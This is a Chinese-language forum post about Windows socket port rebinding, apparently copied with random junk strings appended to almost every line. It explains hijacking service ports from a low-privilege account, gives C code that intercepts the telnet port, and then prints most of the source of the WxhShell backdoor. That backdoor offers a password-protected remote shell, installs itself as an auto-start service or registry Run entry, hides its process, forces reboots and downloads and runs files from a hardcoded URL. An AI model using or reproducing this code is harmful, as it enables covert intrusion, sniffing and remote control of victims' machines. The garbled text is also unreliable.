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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dt]-,Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c ( C%Hld  
ql{ OETn#  
  saddr.sin_family = AF_INET; $szqy?i 0?  
} 9Eg=%0v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U(g:zae  
hd<c&7|G'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); - %h.t+=U  
lT?v^\(H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VA_PvL.9  
'G4ICtHQ  
  这意味着什么?意味着可以进行如下的攻击: }<SQ  
@o _}g !9=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "?xHlYj@+  
m}t`FsB.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v>)"HL"XG  
PiIpnoM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S`0(*A[W*  
& l&:`nsJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q,|j]+9q  
9}<ile7^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +gtbcF@rx  
Id .nu/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zKJ#`OhT  
NP3y+s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vMH  
b9HtR-iR;  
  #include x2\qXN/R  
  #include g7`LEF <A  
  #include '8H4shYg  
  #include    U$ElV]N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;))+>%SGCt  
  int main() h2]P]@nW;W  
  { u?(d gJ  
  WORD wVersionRequested; ~Otoqu|  
  DWORD ret; :>f )g  
  WSADATA wsaData; {qJ1ko)$  
  BOOL val; hRCJv#]HC  
  SOCKADDR_IN saddr; joAv{Tc  
  SOCKADDR_IN scaddr; Zt{[ *~  
  int err; WO>nIo5Y  
  SOCKET s; s)D;a-F  
  SOCKET sc; $ >eCqC3  
  int caddsize; j-}O0~Jz  
  HANDLE mt; D.u{~  
  DWORD tid;   EUX\^c]n  
  wVersionRequested = MAKEWORD( 2, 2 ); )g%d:xI  
  err = WSAStartup( wVersionRequested, &wsaData ); O-hAFKx  
  if ( err != 0 ) { 2-v%`fA  
  printf("error!WSAStartup failed!\n"); L^?qOylu  
  return -1; %pL''R9VF  
  } )}Kf=  
  saddr.sin_family = AF_INET; qt"m  
   wE`]7mA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p]+Pkxz]'  
pO3SUOP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v^*K:#<Q!  
  saddr.sin_port = htons(23); o|<!"AD7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wt-GjxGi  
  { `d`T*_  
  printf("error!socket failed!\n"); 3bH'H*2  
  return -1; K Z91-  
  } !z3jTv  
  val = TRUE; x g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E*K;H8}s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6?J i7F  
  { -C]5>& W  
  printf("error!setsockopt failed!\n"); jm/`iXnMf  
  return -1; bK&+5t&  
  } WW~sNC\3`(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M!^az[[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 33B]RGq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VjZ|$k  
tg4pyW <  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m&&m,6``P  
  { U$z-e/  
  ret=GetLastError(); hhc,uJ">!  
  printf("error!bind failed!\n"); Pu$Tk |  
  return -1; +#@I~u _}D  
  } 3;]H1 1  
  listen(s,2); #.)0xfGW)n  
  while(1) je=a/Y=%U{  
  { c 3)jccWTc  
  caddsize = sizeof(scaddr); 1\2no{Vh  
  //接受连接请求 h J)h\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JU&c.p /  
  if(sc!=INVALID_SOCKET) HY:o+ciH'  
  { w+u3*/Zf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; )@~  
  if(mt==NULL) M!D3}JRm  
  { U8n V[  
  printf("Thread Creat Failed!\n"); <}9lZEqY  
  break; Ean5b>\  
  } ],Do6 @M-  
  } ^o&. fQ*  
  CloseHandle(mt); ;+ hH  
  } e8?jmN`2  
  closesocket(s); 1?+St`+{B-  
  WSACleanup(); )=_,O=z$K  
  return 0; T!)(Dv8@F  
  }   mGg+.PFsM  
  DWORD WINAPI ClientThread(LPVOID lpParam) r0% D58  
  { 5D//*}b,  
  SOCKET ss = (SOCKET)lpParam; Ry6@VQ"NLb  
  SOCKET sc; T'Dv.h  
  unsigned char buf[4096]; U0P~  
  SOCKADDR_IN saddr; 2.%ITB  
  long num; uiR8,H9*M  
  DWORD val; w@w(-F!%l  
  DWORD ret; >7DhTM-A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fd9 [pU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z1X`o  
  saddr.sin_family = AF_INET; b,1ePS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {9.|2%a  
  saddr.sin_port = htons(23); QD]6C2j*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vp@?^imL  
  { iSs:oH3l  
  printf("error!socket failed!\n"); 3eQ&F~S  
  return -1; -=\c_\O  
  } mrtb*7`$  
  val = 100; NyNXP_8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8&b,qQ~  
  { tf`^v6m%]  
  ret = GetLastError(); Z=vU}S>r|v  
  return -1; cTTL1SW  
  } /hyN;.hpOO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )bscBj@  
  { T{[=oH+  
  ret = GetLastError(); U z>+2m(  
  return -1; bY~pc\V:`w  
  } u;2[AQ.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #!+:!_45  
  { 4 "'~NvO  
  printf("error!socket connect failed!\n"); a<bwzX|.  
  closesocket(sc); u.xnOcOH!  
  closesocket(ss); q^<?]8  
  return -1; 2`=7_v  
  } YS"=yye 3e  
  while(1) 9CD_ os\h  
  { 0YDR1dO(*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '?(% Zxw%&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1/J=uH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KJ4.4Zq{c  
  num = recv(ss,buf,4096,0); #?:lb1  
  if(num>0) k@W1-D?  
  send(sc,buf,num,0); @|YH|/RF  
  else if(num==0) ]~3V}z,T*  
  break; 61'XgkacDS  
  num = recv(sc,buf,4096,0); =Jb>x#Y  
  if(num>0) H"WprHe  
  send(ss,buf,num,0); &^Q/,H~S  
  else if(num==0) $1`2 kM5  
  break; z-)O9PV  
  } SO0PF|{\r  
  closesocket(ss); g]0_5?i  
  closesocket(sc); *gWwALGo5  
  return 0 ; r* Ca}Z  
  } F7#JLE=  
:"/d|i`T  
T9   
========================================================== 1 ]b.fD  
(<C3Vts))  
下边附上一个代码,,WXhSHELL I b5rqU\  
j&qub_j"xX  
========================================================== /9fR'EO{x  
C;^X[x%h7$  
#include "stdafx.h" [d ]9Oa4  
{R `[kt  
#include <stdio.h> Z4ImV~m  
#include <string.h> [/8%3  
#include <windows.h> CzrC%xy  
#include <winsock2.h> Mb*?5R6;  
#include <winsvc.h> 'TB2:W3  
#include <urlmon.h> }@d@3  
lrIe"H@  
#pragma comment (lib, "Ws2_32.lib") >fQMXfoY  
#pragma comment (lib, "urlmon.lib") h <<v^+m  
^^ixa1H<  
#define MAX_USER   100 // 最大客户端连接数 8YSAf+{FtK  
#define BUF_SOCK   200 // sock buffer IJcsmNWm  
#define KEY_BUFF   255 // 输入 buffer uoh7Sz5!^  
4BpZJ~(p  
#define REBOOT     0   // 重启 `r 3  
#define SHUTDOWN   1   // 关机 `'7R,  
AH~E)S  
#define DEF_PORT   5000 // 监听端口 O?#7N[7  
.8JTe 0  
#define REG_LEN     16   // 注册表键长度 mQ"-,mMI  
#define SVC_LEN     80   // NT服务名长度 V(!V_Ug9.  
 a0)QH  
// 从dll定义API 8Z=R)asGS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,r_Gf5c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5]:U9ts#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +9sQZB# (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yrq~5)%  
e~"U @8xk~  
// wxhshell配置信息 (X*^dO  
struct WSCFG { xr^LFn)  
  int ws_port;         // 监听端口  _;\_l  
  char ws_passstr[REG_LEN]; // 口令 1EX;MW-p<T  
  int ws_autoins;       // 安装标记, 1=yes 0=no iuul7VR-%  
  char ws_regname[REG_LEN]; // 注册表键名 F#5~M<`.o  
  char ws_svcname[REG_LEN]; // 服务名 &s>Jb?_5Mx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nKj7.,>;:<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1<aP92/N&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YKK*ER0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~WF\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cQ}{[YO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 deh*Ib:(S  
!&@615Vtw  
}; [AJJSd/:  
jT;;/Fd3/  
// default Wxhshell configuration lNO;O}8  
struct WSCFG wscfg={DEF_PORT, V0a3<6@4  
    "xuhuanlingzhe", -jm Y)(\  
    1, +R75v)  
    "Wxhshell", h 'nY3GrU  
    "Wxhshell", KD.]i' d<  
            "WxhShell Service", |CbikE}kL  
    "Wrsky Windows CmdShell Service", 0jWVp- y  
    "Please Input Your Password: ", < I``&>  
  1, lr&a;aZp  
  "http://www.wrsky.com/wxhshell.exe", gI|~|-'  
  "Wxhshell.exe" w_VP J  
    }; _7y[B&g[r  
&mM0AA'\?H  
// 消息定义模块 j.= 1rwPt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '$+ogBS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8zq=N#x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hOK8(U0  
char *msg_ws_ext="\n\rExit."; 4s oJ.j8  
char *msg_ws_end="\n\rQuit."; E=O\0!F|b  
char *msg_ws_boot="\n\rReboot..."; z`b,h\  
char *msg_ws_poff="\n\rShutdown..."; uCB=u[]y4  
char *msg_ws_down="\n\rSave to "; 'dc#F3  
u_Z+;{]Pj  
char *msg_ws_err="\n\rErr!"; 1G`Pmh@  
char *msg_ws_ok="\n\rOK!"; tfWS)y7  
:[d9tm  
char ExeFile[MAX_PATH]; bW+:C5'  
int nUser = 0; `">=  
HANDLE handles[MAX_USER]; a?oI>8*  
int OsIsNt;  4Wp=y  
l;E(I_ i)  
SERVICE_STATUS       serviceStatus; 9W);rL|5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rf% a'b  
2st3  
// 函数声明 b\,+f n  
int Install(void); {Y1Ck5  
int Uninstall(void); 0PCGDLk8  
int DownloadFile(char *sURL, SOCKET wsh); ]eV8b*d6  
int Boot(int flag); NwfVL4Xg  
void HideProc(void); g 0E'g  
int GetOsVer(void); gnHbb-<i,  
int Wxhshell(SOCKET wsl); ksm~<;td  
void TalkWithClient(void *cs); UC$ppTCc?  
int CmdShell(SOCKET sock); y>ktcuML  
int StartFromService(void); z0 Z%m@  
int StartWxhshell(LPSTR lpCmdLine); V]?R>qhgu  
&xExyz~`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s,_m{ to  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -F3-{E  
c+GG\:gM  
// 数据结构和表定义 \ 6MCxh6  
SERVICE_TABLE_ENTRY DispatchTable[] = .X;K%J2  
{ c[s4EUG  
{wscfg.ws_svcname, NTServiceMain}, u]G\H!Wk Q  
{NULL, NULL} c1gQ cqF  
}; - ! S_ryL  
^kSqsT"  
// 自我安装 CU~PT.  
int Install(void) 4{Z)8;QX  
{ &6k3*dq  
  char svExeFile[MAX_PATH]; fTX;.M/%   
  HKEY key; 5E <kwi  
  strcpy(svExeFile,ExeFile); J,6yYIq  
\^1E4C\":  
// 如果是win9x系统,修改注册表设为自启动 Zgb!E]V[  
if(!OsIsNt) { /<BI46B\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OB}Ib]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8JUwf  
  RegCloseKey(key); .o}v#W+st  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @[v~y"tE}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %xt^698&X  
  RegCloseKey(key); =?`c=z3~i$  
  return 0; >KKMcTOYY  
    } \.}c9*)  
  } |gY^)9ei  
} BD7N i^qI$  
else { Vf1^4 t  
Q=dy<kg']  
// 如果是NT以上系统,安装为系统服务 [1H^3g '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Cv?Z.x5  
if (schSCManager!=0) {(?4!rh  
{ |e0`nn=  
  SC_HANDLE schService = CreateService 7cMv/g^ h@  
  ( 3T0"" !Q  
  schSCManager, BfiD9ka-z  
  wscfg.ws_svcname, AkiDL=;w  
  wscfg.ws_svcdisp, YZJyk:H\  
  SERVICE_ALL_ACCESS, 2I{"XB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W=4FFl[  
  SERVICE_AUTO_START, 0Wp|1)ljA  
  SERVICE_ERROR_NORMAL, Z<{QaY$"  
  svExeFile, , 9 a  
  NULL, |(^PS8wG  
  NULL, Yz)qcU  
  NULL, UkGCyGyZ[  
  NULL, Y\'}a+:@Ph  
  NULL ~flV`wy$$1  
  ); Jj%K=sw  
  if (schService!=0) g< .qUBPKX  
  { UJ6v(:z <  
  CloseServiceHandle(schService); uFga~&#g  
  CloseServiceHandle(schSCManager); %vi83%$'4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); he hFEyx  
  strcat(svExeFile,wscfg.ws_svcname); LBP`hK:>W~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJZ4AWH`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7"D.L-H  
  RegCloseKey(key); BTrn0  
  return 0; ,~W|]/b<q  
    } a C)!T  
  } Wo=jskBrQ  
  CloseServiceHandle(schSCManager); &b& ,  
} Aq7osU1B  
} ufT`"i  
r" ,GC]  
return 1; qJUK_6|3  
} @U}1EC{A  
Pk)1WK7E  
// 自我卸载 ~61v5@  
int Uninstall(void) [j'X;tVX{  
{ K", N!koj  
  HKEY key; M\Kx'N  
UW EV^ &"x  
if(!OsIsNt) { Ooy7*W';  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VyGJ=[ ]  
  RegDeleteValue(key,wscfg.ws_regname); )53y AyP  
  RegCloseKey(key); >[*qf9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &@YmA1Yu)E  
  RegDeleteValue(key,wscfg.ws_regname); (Ep\Z 6*  
  RegCloseKey(key); /&94 eC  
  return 0; 6)Lk-D  
  }  ; 4~hB  
} 1|wL\I  
} 6!FQzFCZq  
else { ~&bq0 (  
C;urBsC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *;*r 8[U}q  
if (schSCManager!=0) \)|hogI|f  
{ U4B( #2'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '!$Rw"K.  
  if (schService!=0) J7p),[>I<  
  { "9e\c;a  
  if(DeleteService(schService)!=0) { V~5jfcd  
  CloseServiceHandle(schService); JaGtsi9%.  
  CloseServiceHandle(schSCManager); H_Q+&9^/  
  return 0; wAW5 Z0D  
  } kZ3ThIk%  
  CloseServiceHandle(schService); w`zTR0`  
  } 9q[oa5INd  
  CloseServiceHandle(schSCManager); Dm<A ^u8  
}  kPLxEwl  
} <e</m)j  
9qG6Pb  
return 1; LSr]S79N1  
} 0:Ol7  
)hfpwdQ  
// 从指定url下载文件 |# 2.Q:&  
int DownloadFile(char *sURL, SOCKET wsh) BR yl4  
{ c\ lkD-\  
  HRESULT hr; N//K Ph  
char seps[]= "/"; ?<'}r7D   
char *token; "1 M[5\Ax  
char *file; >I&5j/&}+  
char myURL[MAX_PATH]; AkQ ~k0i}b  
char myFILE[MAX_PATH]; 7O-x<P;  
:G%61x&=Zc  
strcpy(myURL,sURL); Z>5b;8  
  token=strtok(myURL,seps); E09 :E  
  while(token!=NULL) fmDCPkj  
  { }S<2A7)el  
    file=token; 7E~;xn;  
  token=strtok(NULL,seps); N5b!.B x-w  
  } j+  0I-p  
]-/VHh  
GetCurrentDirectory(MAX_PATH,myFILE); ckE-",G  
strcat(myFILE, "\\"); L0WN\|D  
strcat(myFILE, file); |4 0`B% Z  
  send(wsh,myFILE,strlen(myFILE),0); Zba2d,8/  
send(wsh,"...",3,0); *YuF0Yt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]|P iF+  
  if(hr==S_OK) q'Tf,a  
return 0; J]pir4&j  
else q6V>zi  
return 1; LuvY<~u  
nk' s_a*Z  
} CN8Y\<Ar  
Vb]=B~^`  
// 系统电源模块 % ^1V4  
int Boot(int flag) mb^~qeRQ  
{ +*/Zu`kzX  
  HANDLE hToken; #fn)k1  
  TOKEN_PRIVILEGES tkp; ?QdWrE_  
_5Ct]vy  
  if(OsIsNt) { .;`AAH'k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a'yK~;+_9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sk\K4  
    tkp.PrivilegeCount = 1; VY=jc~c]v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OU $#5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O.M>+~Nw  
if(flag==REBOOT) { DAr1C+Dy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4yA+ h2  
  return 0; O`t&ldU  
} V#gK$uv  
else { ^KT Y?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $1L> )S  
  return 0; hH8oyIC  
} =wV<hg)C  
  } Pw`8Wj  
  else { w;:*P  
if(flag==REBOOT) { ,Ae6/D$h/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i#Bf"W{F  
  return 0; (m(JK^  
}  B Qxs~  
else { Zaf:fsj>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .2Elr(&*h  
  return 0; hT&Y#fh  
} ,CcV/K  
} 9ZsVy  
Q1I6$8:7  
return 1; :vQrOn18p  
} }?_?V&K|  
z3m85F%dR  
// win9x进程隐藏模块 \\H}`0m:  
void HideProc(void) k:#!zK}  
{ 6@F9G 4<Z  
;) z:fToh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nv}=L : E  
  if ( hKernel != NULL ) ' ;FnIZ  
  { DGn;m\B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $$;M^WV^?.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a;qryUyG  
    FreeLibrary(hKernel); +RMSA^  
  } SaAFz&WRl  
.*S#aq4S  
return; ^Hnb }L  
} Ru!iR#s)!  
)|R)Q6UJ  
// 获取操作系统版本 DIfaVo/"  
int GetOsVer(void) J~ zUp(>K  
{ w3obIJm  
  OSVERSIONINFO winfo; 6"O+w=5B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kY|utoAP  
  GetVersionEx(&winfo); bL+_j}{:N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m_?~OL S  
  return 1; %G/ hD  
  else 17[3/m8a  
  return 0; oAJM]%g{  
} s_OF(o  
BB!THj69a6  
// 客户端句柄模块 z2_*%S@  
int Wxhshell(SOCKET wsl) HI R~"It$  
{ vkx7paY_  
  SOCKET wsh; ~Z?TFg  
  struct sockaddr_in client; Vl /+;6_  
  DWORD myID; ]7F=u!/`<C  
2~1SQ.Q<RY  
  while(nUser<MAX_USER) +_?hK{Ib"  
{ 0y" $MC v  
  int nSize=sizeof(client); FxtQXu-g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r6MMCJ|G  
  if(wsh==INVALID_SOCKET) return 1; G%AbC"  
9~5uaP$S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RXpw!  
if(handles[nUser]==0) \K{0L  
  closesocket(wsh); GmeQ`;9,  
else D9 CaFu  
  nUser++; &0OG*}gi  
  } QT< }] 0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .9on@S  
hk(ZM#Bh  
  return 0; +,T RfP Fb  
} -aPg#ub  
|mdVdD~go  
// 关闭 socket h5{'Q$Erl  
void CloseIt(SOCKET wsh) <;eW=HT+uq  
{ ?cBwPetp  
closesocket(wsh); hYT0l$Ng  
nUser--; uy[At+%zg  
ExitThread(0); 0_95|3kc  
} [fya)}  
6y%qVx#!  
// 客户端请求句柄 (lBCO?`fx  
void TalkWithClient(void *cs) dUeN*Nq&(,  
{ E"\<s3  
dh`K`b4I  
  SOCKET wsh=(SOCKET)cs; q1$N>;&  
  char pwd[SVC_LEN]; ]_mb7X>  
  char cmd[KEY_BUFF]; ';w#w<yaI  
char chr[1]; UN;H+gNnN  
int i,j; -[4T  
jiV<+T?  
  while (nUser < MAX_USER) { ~drS} V  
n71r_S*  
if(wscfg.ws_passstr) { Xk~D$~4<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  4C6YO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w=0(<s2  
  //ZeroMemory(pwd,KEY_BUFF); ~9a<0Mc?  
      i=0; v}}F,c(f  
  while(i<SVC_LEN) { Uu10)/.LC  
Sxt"B  
  // 设置超时  acajHs  
  fd_set FdRead; Ex Y]Sdx  
  struct timeval TimeOut; GfxZ'VIn  
  FD_ZERO(&FdRead); 9|^2",V  
  FD_SET(wsh,&FdRead); <.x{|p  
  TimeOut.tv_sec=8; h0*!;Z7  
  TimeOut.tv_usec=0; . oF &Ff/[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e8>})  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n$MO4s8)  
KB3Htw%W[+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :T ^a&)aL%  
  pwd=chr[0]; }/0X'o  
  if(chr[0]==0xd || chr[0]==0xa) { (R[[Z,>w.  
  pwd=0; |PvPAPy)uu  
  break; g+8OekzB5  
  } [SjqOTon{  
  i++; +xh`Q=A  
    } I13y6= d  
MD}w Y><C  
  // 如果是非法用户,关闭 socket }kw#7m54  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lZd(emH@  
} .Yamc#A-  
/H[=5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AVsDt2A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NlA,'`,  
e[{0)y>=  
while(1) { A6  
+RHS!0  
  ZeroMemory(cmd,KEY_BUFF); +C^nO=[E  
Z\(q@3C  
      // 自动支持客户端 telnet标准   YU'k#\gi*  
  j=0; vz@A;t  
  while(j<KEY_BUFF) { <v"R.<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQF(vTDN  
  cmd[j]=chr[0]; J@/kIrx  
  if(chr[0]==0xa || chr[0]==0xd) { ")1:F>  
  cmd[j]=0; juP7P[d$qW  
  break; @JiLgIe `  
  } H9Gh>u]}  
  j++; ] 7[ 3>IN  
    } 'NbHa!  
/m!BY}4W  
  // 下载文件 .97])E[U  
  if(strstr(cmd,"http://")) { Gf%~{@7=u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vRTkgH#4l  
  if(DownloadFile(cmd,wsh)) 1>.Ev,X+e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WSP I|#Xr%  
  else CmWeY$Jb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O"+ gQXe  
  } bS{bkE>  
  else { _kC-dEGf!y  
w$>u b@=  
    switch(cmd[0]) { FBG4pb9=~  
  oe ~'o'  
  // 帮助 Qry@ s5  
  case '?': {  > ^O7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tb 5`cube  
    break; mwO6g~@ `  
  } qRu~$K  
  // 安装 3h]g}&k  
  case 'i': { ~EW(Gs!=C  
    if(Install()) ,10=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0RzEY!9g+  
    else l&[O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 05|=`eJ  
    break; {% 6}'  
    } ]|#+zx|/D  
  // 卸载 1l9 G[o *  
  case 'r': { "mo?* a$Sk  
    if(Uninstall()) g/4[N{Xf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#&8x  
    else ^ G]J,+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pG_;$8Hc  
    break; OU E (I3_  
    } > [)7U _|p  
  // 显示 wxhshell 所在路径 L]7=?vN=8  
  case 'p': { @?ebuj5{e  
    char svExeFile[MAX_PATH]; [\]50=&  
    strcpy(svExeFile,"\n\r"); \Zk;ikEY  
      strcat(svExeFile,ExeFile); C-xr"]#]  
        send(wsh,svExeFile,strlen(svExeFile),0); *9 {PEx  
    break; O}gV`q;  
    } &{5,:%PXw  
  // 重启 5#6|j?_a  
  case 'b': { t6rRU~;}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F k7?xc  
    if(Boot(REBOOT)) 39c2pV[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '(6z. toQ  
    else { Y+pHd\$-4  
    closesocket(wsh); I]|Pq  
    ExitThread(0); /*~EO{o  
    } Brw@g8w-X  
    break; RIR\']WN  
    } ME$[=?7XX  
  // 关机 IuDS*/Sx  
